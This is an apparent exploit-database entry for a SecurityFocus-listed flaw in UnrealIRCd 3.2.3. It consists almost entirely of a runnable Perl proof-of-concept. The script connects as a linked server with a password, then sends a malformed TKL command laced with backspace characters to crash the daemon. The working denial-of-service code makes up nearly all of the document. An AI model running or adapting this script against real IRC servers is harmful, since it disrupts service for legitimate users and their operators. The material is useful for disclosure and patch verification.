source: http://www.securityfocus.com/bid/17057/info

UnrealIRCd is prone to a remote denial-of-service vulnerability. A remote attacker may exploit this issue to deny service for legitimate users.

#!/usr/bin/perl

# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin@redneck.servebeer.com (Brandon Milner)

use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneck\n");

#################
#   Variables   #
#################
$spass = ("LinkPass");                          # Link Password
$lserver = ("your.server.name");                # Local Server name
$rserver = ("remote.server.name");              # Link Server
$rport = (6667);                                # Link Port
$snum = (6);                                    # Server numeric

#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
        PeerAddr => $rserver,
        PeerPort => $rport,
        Proto => 'tcp',
);

#################
#    Connect    #
#################
die "Couldn't create socket to $rserver / $rport!\n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spass\n");
print ("PASS $spass\n");
print $sock ("SERVER $lserver 1 $snum :PoC by Redneck\n");
print ("SERVER $lserver 1 $snum :PoC by Redneck\n");
sleep 5;
print $sock ("TKL - q\x08Q *\x08PoC\n");
print ("TKL - q\x08Q *\x08PoC\n");
sleep 5;